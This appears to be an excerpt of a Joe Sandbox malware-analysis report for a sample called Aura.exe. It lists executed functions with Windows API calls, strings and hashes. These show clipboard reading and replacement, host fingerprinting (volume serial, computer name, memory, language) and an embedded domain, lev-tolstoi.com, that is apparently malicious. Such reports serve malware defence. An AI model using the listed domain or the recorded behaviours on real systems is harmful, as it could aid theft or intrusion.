Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: 65d57686d128235402c79e0c85432fbb2a84e4408dbce544f9a9496bede979f2
Instruction ID: 2c14f4dc526ba58c8998745f3561ce0b161d6508d7557cb609d11011a019354a
Opcode Fuzzy Hash: 65d57686d128235402c79e0c85432fbb2a84e4408dbce544f9a9496bede979f2
Instruction Fuzzy Hash: D6F0F8F1514300ABE700AF18EC45B8BBBE4EB54718F11882EF9989B301E3B9D444CF92

Analysis Process: Aura.exePID: 7412, Parent PID: 7348COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	6.4%
Signature Coverage:	36.8%
Total number of Nodes:	250
Total number of Limit Nodes:	25

Executed Functions

Function 004120A0 Relevance: 189.3, APIs: 3, Strings: 104, Instructions: 2015COMMON

Download Yara Rule

Strings

h, xrefs: 00413AF1
?, xrefs: 0041395E
E, xrefs: 00413141
W, xrefs: 004135BE
Q, xrefs: 00413293
R, xrefs: 00412EA7
i, xrefs: 00413FD8
|, xrefs: 00412D01
%, xrefs: 0041388E
i, xrefs: 00413AE9
K, xrefs: 0041361E
i, xrefs: 00413EE1
!, xrefs: 0041386E
K, xrefs: 00412B7C
., xrefs: 0041367E
L, xrefs: 004135FE
c, xrefs: 00412DCE
K, xrefs: 004135EE
R, xrefs: 0041354E
[, xrefs: 004132E3
I, xrefs: 0041362E
?, xrefs: 004130FA
:, xrefs: 00412AD3
i, xrefs: 00413D55
#, xrefs: 0041387E
=, xrefs: 0041394E
1, xrefs: 004138EE
G, xrefs: 004135AE
L, xrefs: 00412B81
', xrefs: 00412275
v, xrefs: 00412D31
M, xrefs: 00412B86
P, xrefs: 0041359E
-, xrefs: 0041243E
-, xrefs: 004138CE
`, xrefs: 00412F5A
!, xrefs: 00413313
B, xrefs: 00412B8B
C, xrefs: 0041358E
), xrefs: 004138AE
k, xrefs: 00413FCE
$, xrefs: 0041363E
7, xrefs: 0041391E
i, xrefs: 00413C59
3, xrefs: 004138FE
h, xrefs: 00413D5A
k, xrefs: 00413C49
M, xrefs: 004125EE
t, xrefs: 00412D41
D, xrefs: 00413E35
k, xrefs: 00413ED7
Y, xrefs: 004132D3
W, xrefs: 00412EB7
', xrefs: 0041389E
W, xrefs: 004132C3
S, xrefs: 004137FE
h, xrefs: 00413C61
5, xrefs: 0041390E
U, xrefs: 0041380E
h, xrefs: 00412FE0
j, xrefs: 00413FD3
;, xrefs: 0041393E
j, xrefs: 00413C51
9, xrefs: 0041392E
i, xrefs: 00412FD8
", xrefs: 0041366E
j, xrefs: 00413EDC
S, xrefs: 004132A3
w, xrefs: 00412D39
], xrefs: 0041384E
:, xrefs: 004120FF
I, xrefs: 0041353E
k, xrefs: 00413D4B
s, xrefs: 0041251A
_, xrefs: 00413303
U, xrefs: 004132B3
], xrefs: 004132F3
3, xrefs: 0041364E
&, xrefs: 004122EB
h, xrefs: 00413FDD
w, xrefs: 00413146
*, xrefs: 004128C4
, xrefs: 0041330B
n, xrefs: 0041365E
Q, xrefs: 004137EE
_, xrefs: 0041385E
h, xrefs: 00413EE6
W, xrefs: 004122E6
k, xrefs: 00412FC8
T, xrefs: 0041355E
W, xrefs: 0041381E
p, xrefs: 00412D21
_, xrefs: 0041360E
D, xrefs: 00413A3B
+, xrefs: 004138BE
Y, xrefs: 0041382E
r, xrefs: 00412D11
j, xrefs: 00413AE1
k, xrefs: 00413AD9
[, xrefs: 0041383E
R, xrefs: 004135DE
/, xrefs: 004138DE
j, xrefs: 00413D50
j, xrefs: 00412FD0

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: $!$!$"$#$$$%$&$'$'$)$*$+$-$-$.$/$1$3$3$5$7$9$:$:$;$=$?$?$B$C$D$D$E$G$I$I$K$K$K$L$L$M$M$P$Q$Q$R$R$R$S$S$T$U$U$W$W$W$W$W$Y$Y$[$[$]$]$_$_$_$`$c$h$h$h$h$h$h$i$i$i$i$i$i$j$j$j$j$j$j$k$k$k$k$k$k$n$p$r$s$t$v$w$w$|
API String ID: 0-1509883943
Opcode ID: 151c40ac38c4bea637db949ea2a2d5077752ccff992ba821a808d391e990f6c2
Instruction ID: 107fd670d6a33d6bd3af48058be63227e4c1e44791ac504fabef9b213ebb4519
Opcode Fuzzy Hash: 151c40ac38c4bea637db949ea2a2d5077752ccff992ba821a808d391e990f6c2
Instruction Fuzzy Hash: C913D07150C7C08ED3349B38888439FBFD1AB96324F188A6EE5E9873D2D6B88585C757

Function 00415729 Relevance: 25.7, APIs: 1, Strings: 13, Instructions: 1182COMMON

Download Yara Rule

Strings

MfA, xrefs: 00416646
kjih, xrefs: 004157AC
L4, xrefs: 004163F0
$aA, xrefs: 0041611E
>"0, xrefs: 00415C7A
2)!*, xrefs: 00415C6F
L4, xrefs: 00416020
~t~{, xrefs: 004159DC
kjih, xrefs: 004160D6
nVA, xrefs: 00415D9D
'+5>, xrefs: 00415C64
41##, xrefs: 00415C85
7\A, xrefs: 00415C31

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: $aA$'+5>$2)!*$41##$7\A$>"0$MfA$kjih$kjih$~t~{$nVA$L4$L4
API String ID: 0-705411989
Opcode ID: a038ddd7a4fba88be4bd41d0b89a0969865ad0c869122aac13da161970b1766d
Instruction ID: 51b238df478912f03407f53bcd861463622d7a63e5711f880fdd80badda0364d
Opcode Fuzzy Hash: a038ddd7a4fba88be4bd41d0b89a0969865ad0c869122aac13da161970b1766d
Instruction Fuzzy Hash: 32823475609242CFD724CF24D8817AFB7E2EBC5314F19893EE48987392D7389845CB8A

Function 004382F0 Relevance: 23.4, APIs: 11, Strings: 2, Instructions: 675
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044268C,00000000,00000001,0044267C), ref: 004385B2
SysAllocString.OLEAUT32(0000AA09), ref: 00438617
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438654
SysAllocString.OLEAUT32(0000AA09), ref: 00438697
SysAllocString.OLEAUT32(0000AA09), ref: 00438744
VariantInit.OLEAUT32( )*+), ref: 004387AF
VariantClear.OLEAUT32(?), ref: 00438919
SysFreeString.OLEAUT32(?), ref: 0043893D
SysFreeString.OLEAUT32(?), ref: 00438943
SysFreeString.OLEAUT32(00000000), ref: 00438954
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,0000AA09,00000000,00000000,00000000,00000000), ref: 00438984

Strings

\]^_, xrefs: 00438A1F
)*+, xrefs: 0043833E

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: )*+$\]^_
API String ID: 2573436264-2322973909
Opcode ID: ad9a5df13a79529466875a2391a2d9c4f178ea59c0f8a74a64ccf3bd56a8d54e
Instruction ID: 2e71509d261cad856181e072583a0b97192b489e60390a5bbc3d405ab7213408
Opcode Fuzzy Hash: ad9a5df13a79529466875a2391a2d9c4f178ea59c0f8a74a64ccf3bd56a8d54e
Instruction Fuzzy Hash: 0712FEB6A083009BE314DF25C88176BBBE1EFC9314F14592EF5D49B391DB78D8068B96

Function 05941000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000001), ref: 05941032
OpenClipboard.USER32(00000000), ref: 0594103C
GetClipboardData.USER32(0000000D), ref: 0594104C
GlobalLock.KERNEL32(00000000), ref: 0594105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 05941090
GlobalLock.KERNEL32 ref: 059410A0
GlobalUnlock.KERNEL32 ref: 059410C1
EmptyClipboard.USER32 ref: 059410CB
SetClipboardData.USER32(0000000D), ref: 059410D6
GlobalFree.KERNEL32 ref: 059410E3
GlobalUnlock.KERNEL32(?), ref: 059410ED
CloseClipboard.USER32 ref: 059410F3
GetClipboardSequenceNumber.USER32 ref: 059410F9

Memory Dump Source

Source File: 00000002.00000002.3511764736.0000000005941000.00000020.00000800.00020000.00000000.sdmp, Offset: 05940000, based on PE: true

Associated: 00000002.00000002.3511748351.0000000005940000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3511780747.0000000005942000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5940000_Aura.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: 8fa508c330ca9ad77a42fe343c1acf04bd94308097d6b381f39f5dd7216c6f04
Instruction ID: d1a74190dea584d5f6912d3f38ea1c2662a985a48467d6c4d5a10d1a525b6b69
Opcode Fuzzy Hash: 8fa508c330ca9ad77a42fe343c1acf04bd94308097d6b381f39f5dd7216c6f04
Instruction Fuzzy Hash: 1F216D396182509BDF202BB1AC0AF7A7BBCFF04A85F040428F946D6150EB618C80EFA1

Function 0040E1FA Relevance: 9.6, APIs: 2, Strings: 4, Instructions: 621
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.OLE32 ref: 0040E206
CoUninitialize.COMBASE ref: 0040E642

Strings

]f, xrefs: 0040EA37, 0040EA3E
Ds, xrefs: 0040E8D5
lev-tolstoi.com, xrefs: 0040E629, 0040EA40
}v, xrefs: 0040E8BF

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: Uninitialize
String ID: Ds$]f$lev-tolstoi.com$}v
API String ID: 3861434553-762171579
Opcode ID: 9c9c872ceee5d1727b78cb835495f79685d7af6cdecb67afa127824de112cc5a
Instruction ID: 28d4e5588af879f351e0c55689ec10c05792b3d9381e9559039d1688d12df22d
Opcode Fuzzy Hash: 9c9c872ceee5d1727b78cb835495f79685d7af6cdecb67afa127824de112cc5a
Instruction Fuzzy Hash: 1D12DEB154D3D18ED335CF2988907DBBFE1AFD2304F1989ADD8D86B252C6384906CB96

Function 00408680 Relevance: 7.7, APIs: 5, Instructions: 249
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004086A4
GetCurrentThreadId.KERNEL32 ref: 004086AE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000,?), ref: 004087DD
GetForegroundWindow.USER32 ref: 004088A1

Part of subcall function 0040C830: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C843

Part of subcall function 0040B720: FreeLibrary.KERNEL32(00408978), ref: 0040B726
Part of subcall function 0040B720: FreeLibrary.KERNEL32 ref: 0040B747

ExitProcess.KERNEL32 ref: 00408991

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: e843ce397e95a7a4f9e2afb866568efc9843b9a29ca9dad48084fef23a3395c2
Instruction ID: 719c045ee3bb05490b25d200acc1df5498f9a5c5afb4084d0d06abb797ad2041
Opcode Fuzzy Hash: e843ce397e95a7a4f9e2afb866568efc9843b9a29ca9dad48084fef23a3395c2
Instruction Fuzzy Hash: 57713B77A047144FD318EF69CD5632BB6D6ABC8310F09C53EA8C5EB391EA789C018789

Function 0042C8BC Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042CA2C

Strings

Ffd^, xrefs: 0042C8C4
aN, xrefs: 0042CAAA

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: Ffd^$aN
API String ID: 3960555810-4055630379
Opcode ID: 3a1935831da5644078c90ac699fbe6a65a8607549c65db78d83b0f1855ac7ff5
Instruction ID: 8ba5f777abe5cb21ac73ba220a559c846b31c3f997e253584173d0a861dea93d
Opcode Fuzzy Hash: 3a1935831da5644078c90ac699fbe6a65a8607549c65db78d83b0f1855ac7ff5
Instruction Fuzzy Hash: 1BB1F47160C7918BD729CF3994A03ABFFD0AF92300F5849AEE5D5873A2D7398406CB46

Function 0040B11D Relevance: 4.2, Strings: 3, Instructions: 420
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^\, xrefs: 0040B1D3
#\, xrefs: 0040B1CC
_Y, xrefs: 0040B147

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: #\$^\$_Y
API String ID: 0-1775706250
Opcode ID: 1c254cbc2ea113dba85d633fbd872cadb1710f13e14ff148a90661bb3d6fd125
Instruction ID: 64828c1c663671413410b9e3e71a9c3a4536903c3cbe0315ba33c507ed14c13b
Opcode Fuzzy Hash: 1c254cbc2ea113dba85d633fbd872cadb1710f13e14ff148a90661bb3d6fd125
Instruction Fuzzy Hash: 36F170B9204B02DFD3248F25D891B56FBB1FF8A314F11862DD45A9B7A0D734A862CF94

Function 0042BF5D Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042CA2C

Strings

aN, xrefs: 0042CAAA

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: aN
API String ID: 3960555810-2891654286
Opcode ID: 0b7ae6eb79eb8a1cab3eff408834d3105dfccddd28e3ef9cd064e3f9afed7639
Instruction ID: 6c386adf774138a6127a1a769f9df4e7c49410dfe3875cf62af68ca591d5649b
Opcode Fuzzy Hash: 0b7ae6eb79eb8a1cab3eff408834d3105dfccddd28e3ef9cd064e3f9afed7639
Instruction Fuzzy Hash: C591F5B560C3918BD319CF3994A03ABBFD1AF96300F58496EE1D587362D7398806CB56

Function 00423257 Relevance: 3.0, Strings: 2, Instructions: 477COMMON

Download Yara Rule

Strings

kjih, xrefs: 004234E2
kjih, xrefs: 00423707

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID: kjih$kjih
API String ID: 0-3924671761
Opcode ID: d2e0f1181bacb05ca1da8367e0b89aa2228c71b326f4e83b93677016c63df9da
Instruction ID: a487c086f2bff6f57182d60980e0fcb6fe8e22d5ef2e364a4cc1ffc52942c78a
Opcode Fuzzy Hash: d2e0f1181bacb05ca1da8367e0b89aa2228c71b326f4e83b93677016c63df9da
Instruction Fuzzy Hash: 78F1E27A618202CFE718CF24EC5176A73E6FF8A315F4A893CE54597291EB38E910CB45

Function 004269E0 Relevance: 2.9, Strings: 2, Instructions: 392COMMON

Download Yara Rule

Strings

-,#", xrefs: 00426A05
$b%., xrefs: 00426D93

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InitializeThunk
String ID: $b%.$-,#"
API String ID: 2994545307-931030428
Opcode ID: 6a3802928c5f5a87aac56f19ec11622fc088211d542d43d856bad98c04f61c22
Instruction ID: eb0a7813bc495cb2fd809d80ca2ae1eeb419bef85b2bda93f64a55ce56aa5a2f
Opcode Fuzzy Hash: 6a3802928c5f5a87aac56f19ec11622fc088211d542d43d856bad98c04f61c22
Instruction Fuzzy Hash: 57B18A717083644BDB14DF24E8927BBB7A1EB91314F86853EE8858B381D63DDD05C39A

Function 0043CFA0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(004401FA,00000002,00000018,?,?,00000018,?,?,?), ref: 0043CFCE

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0042CD4D Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

kjih, xrefs: 0042CE00

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InitializeThunk
String ID: kjih
API String ID: 2994545307-2138429548
Opcode ID: f523621342962c52b4740b321783b526dc97598ad58fbbfbbcbe4c7a2d8bfb81
Instruction ID: 0fb10d53722430d4b77c1d80d6dbef02a9e55c0cd5a1f5aea47d3c4abb22a9cd
Opcode Fuzzy Hash: f523621342962c52b4740b321783b526dc97598ad58fbbfbbcbe4c7a2d8bfb81
Instruction Fuzzy Hash: 083169756087914BD3688F35A8A073FBBD2EF92300FA8496DE1D2873A1D7249C05CB99

Function 0043D929 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043D990

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InitializeThunk
String ID: D]+\
API String ID: 2994545307-1174097187
Opcode ID: 2cfa3c311a0e9c01cd225743fa52a5313a8d1775c02606c88f75f1f7f84942d4
Instruction ID: 7572c7809211613d87147b95baac5cf25656afb3abccc1c11bb3482e60d05e20
Opcode Fuzzy Hash: 2cfa3c311a0e9c01cd225743fa52a5313a8d1775c02606c88f75f1f7f84942d4
Instruction Fuzzy Hash: 0321F579B0C3458FD754AF55E88013F77A3ABCA310F28A52ED9C243356C6745C069A1A

Function 0043F080 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

@, xrefs: 0043F0E9

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: a472d10b5f9a7e5390908e9f8f6212d90e40df790a0c6070693bbc59db7dec30
Instruction ID: 46bd95ab95da14b092a617a80e557a72b18f969592b6fa2af1023528b8fd012f
Opcode Fuzzy Hash: a472d10b5f9a7e5390908e9f8f6212d90e40df790a0c6070693bbc59db7dec30
Instruction Fuzzy Hash: 593132725083048BCB14DF18E8816ABBBF5FB96320F10693DE5858B390E7359C08CB96

Function 0040C551 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63813f41dbe511761db8f20762812b93e7ab948a97c621a9b6d96b75e500041
Instruction ID: 9be73a98b056c2d0c7dacf170e0cd6e8e4dd5e5827fd6e65ad473f576408e71a
Opcode Fuzzy Hash: f63813f41dbe511761db8f20762812b93e7ab948a97c621a9b6d96b75e500041
Instruction Fuzzy Hash: 0E41347965C3018BC7188F64CC4567BB7F2EFC6304F189A3CE48593381DA388A06870E

Function 0043D357 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e537460dccc4a7b7ef12968f72ed291eab62e9864d205944ff9e0a6744b74f2
Instruction ID: 40e1c0e03dd7cb4f9cd5c8cc5c1a6d528c3109dc285a0f6b12963c487ef0f2fc
Opcode Fuzzy Hash: 1e537460dccc4a7b7ef12968f72ed291eab62e9864d205944ff9e0a6744b74f2
Instruction Fuzzy Hash: FE110479A092448FD7089F14E89053F77A2EB8A314F28A43EDA83C3351CB709C159A0A

Function 0040C404 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e78fea8a38b24ded5d16d5c4de34fcb1592ffda36adc458e5286e25c154e54
Instruction ID: 8ded2d301ed04a995954a13864b114fad71100f10da4f8fc48165d4e31c5a971
Opcode Fuzzy Hash: f3e78fea8a38b24ded5d16d5c4de34fcb1592ffda36adc458e5286e25c154e54
Instruction Fuzzy Hash: 6E11B83464D3419BD329CF24A8D1B6BBBE2EBD2204F14E82CE08192351C5B8D8068B1E

Function 00435ED4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00435EFD

Strings

F, xrefs: 00435F16
A, xrefs: 00435F12
G, xrefs: 00435F1A

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: A$F$G
API String ID: 95929093-3785783914
Opcode ID: 63f7d250430c684fa06de44afb9861202c016e2409db28788b3215d73582899f
Instruction ID: d25d89b923c4efa808e0dea8fd42158e08fc3be147d6bfd14b539fb1b57ef5f4
Opcode Fuzzy Hash: 63f7d250430c684fa06de44afb9861202c016e2409db28788b3215d73582899f
Instruction Fuzzy Hash: BC11E374A046808FCB09CB78C8917ED7FF26F5E310F1841ADD98AA73D1EA394941CB29

Function 00409BEC Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000000), ref: 00409CC8

Strings

@4C, xrefs: 00409C91

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: LibraryLoad
String ID: @4C
API String ID: 1029625771-2729656245
Opcode ID: be34798907d0c0e48b961aaf20c694c46cc9c752a02d3d3cd553411d0cde06da
Instruction ID: ed32fe20f9c2acc6b9e53cce2f2001b642a3f1e2c48bd5ab92002aa4c3cc17ee
Opcode Fuzzy Hash: be34798907d0c0e48b961aaf20c694c46cc9c752a02d3d3cd553411d0cde06da
Instruction Fuzzy Hash: 3C31DFB5E043148FDB04CFA9C98169EBBF1BF5A300F0A81AAD4407B366C7745909CBD5

Function 0042C533 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,36D9D5F5,00000100), ref: 0042C60D

Strings

lkip, xrefs: 0042C569

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: ComputerName
String ID: lkip
API String ID: 3545744682-4027323060
Opcode ID: 3e29f420b480621af52cd6da3d46ec8c36be0b2672652d5602a796a52b81be5e
Instruction ID: b4684953246b1dc9a8e0ad9d1c1e0af237496012bbf236752109d1bc8b7d4005
Opcode Fuzzy Hash: 3e29f420b480621af52cd6da3d46ec8c36be0b2672652d5602a796a52b81be5e
Instruction Fuzzy Hash: F721D27020C7E28ADB258B39D5647BBBBE09FE7305F54485EC0CACB282D7789046CB56

Function 0042C531 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,36D9D5F5,00000100), ref: 0042C60D

Strings

lkip, xrefs: 0042C569

Memory Dump Source

Source File: 00000002.00000002.3511052669.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3511052669.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Aura.jbxd

Similarity

API ID: ComputerName
String ID: lkip
API String ID: 3545744682-4027323060
Opcode ID: 0dce492cfbd86a176259a181f0088ba352bd8f2e61f649e0302a60f399a4b98f
Instruction ID: cdf27a13c466fbb9abb2b2c465a83697adcacc6ecffa19db7df9779b07a46204
